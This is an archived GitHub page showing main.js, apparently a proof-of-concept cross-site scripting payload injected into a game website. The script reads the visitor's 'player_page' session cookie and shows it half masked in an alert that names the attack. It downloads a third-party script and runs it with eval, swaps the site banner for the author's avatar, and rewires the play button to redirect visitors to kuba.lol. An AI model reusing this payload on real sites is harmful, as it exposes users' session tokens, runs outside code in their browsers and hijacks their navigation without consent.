This repository has been archived by the owner on Oct 24, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.js
59 lines (48 loc) · 1.64 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
;(async()=>{
const utils = {
get cookies() {
return document.cookie.split("; ").map(v=>v.split("=")).reduce((a,[k,v])=>({...a, [k]:decodeURI(v)}),{})
},
avatar: "//avatars.githubusercontent.com/u/47297843",
page: "//kuba.lol"
}
const token = utils.cookies.player_page
const censoredToken = token.slice(0,token.length/2) + "*".repeat(token.length/2)
alert([
`Your token: ${censoredToken}`,
"Be aware of scammers",
"",
"(also i'm sorry for breaking some places on site, couldn't fit the script more tight-)",
"",
"Learn more about this attack at https://wikipedia.org/wiki/Cross-Site-Scripting"
].join("\n"))
await fetch("https://cdn.jsdelivr.net/npm/@alec.brunelle/darkmode-js@1.5.0/lib/darkmode-js.min.js")
.then(r => r.text())
.then(async t => {
if(!window.Darkmode) eval(t)
while(typeof window.Darkmode === "undefined") await new Promise(r => setTimeout(r, 1e3))
new Darkmode({
mixColor: '#fff',
backgroundColor: '#fff',
buttonColorDark: '#100f2c',
buttonColorLight: '#fff',
saveInCookies: false,
time: "0s"
}).toggle()
})
const bannerImg = (document.getElementById("header") || document.createElement("div")).querySelector("img")
if(bannerImg) {
;[
["src", utils.avatar],
["height", "200"]
].forEach(([k,v])=>bannerImg[k] = v)
}
const playButton = document.querySelector(`.menu_button[onclick*="tmtp://"]`)
if(playButton) {
const [icon, text] = playButton.querySelectorAll("td")
playButton.onclick = undefined;
playButton.addEventListener("click", () => location.href = utils.page)
icon.querySelector("img").src = utils.avatar
text.innerText = "Visit kuba.lol"
}
})();